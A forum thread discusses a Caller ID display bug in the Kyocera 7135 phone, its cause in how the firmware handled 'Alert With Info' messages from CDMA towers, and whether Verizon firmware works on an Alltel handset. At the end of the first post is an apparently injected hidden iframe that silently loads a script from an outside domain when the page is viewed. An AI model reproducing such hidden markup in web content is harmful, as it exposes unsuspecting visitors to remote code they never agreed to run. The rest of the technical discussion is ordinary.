Folks:

I still haven't had the chance to fire up the new 7135 firmware (SZ1.0.29 / MZ1.0.44) ... however, I FINALLY found the issues involved in the mysterious "Caller ID Received but NOT Displaying" bug! While I experienced the bug with a pre-release 7135 in September 2002, my ship-level 7135 which I got in December DID NOT exhibit the bug.

However, SOME people earlier this year (for example, Manhattan users) STILL reported the bug. I COULD NOT understand how, given the proper OTA programming, the bug could still manifest itself.

But HERE'S THE ANSWER -- it seems that the Caller ID bug was a result of BOTH the 7135 firmware AND certain CDMA towers.

On CDMA it seems that Caller ID info is transmitted FROM the tower TO your 7135 using a standard called "Alert With Info" (AWI). The 7135's phone s/w would DISPLAY only the FIRST AWI. But some tower transmitters would transmit two or more AWI messages (the first AWI may or may not have Caller ID data). However, if the call was missed, the phone s/w would show "Missed Call" plus the Caller ID data contained in the LAST AWI transmitted from the tower!

So, that seems to explain WHY SOME would get Caller ID and some wouldn't ... apparently it depended on the type of base station in the tower.

Anyway, it appears that Kyocera has FIXED the problem by having the phone software "handle" ONLY THE LAST AWI.

For those of you using the old Alltel firmware (SZ1.0.13 / MZ1.0.27), if you still have this bug it seems that all you need to get is ANY version of the Verizon firmware versions (MZ1.0.36 or later).

In any event, I'm happy that that mystery is both solved AND over!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Cool...

I take it that it's safe to upgrade an AllTel phone with Verizon firmware... i.e., they won't end up locked or anything?

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Mike - Been Converged?

I would TEND to say yes. Especially when you remember that many VZW customers have been using 7135s with Alltel firmware AND an Alltel QCN since December.

However, I've also come to the conclusion that -- while KWC DOES "tweak" firmware based upon carrier needs -- AS A RULE, 7135 firmware is written and released on a "universal" basis. At least according to compatibility notes, it appears that "bugs fixed" are unique to the handset, RATHER than the carrier.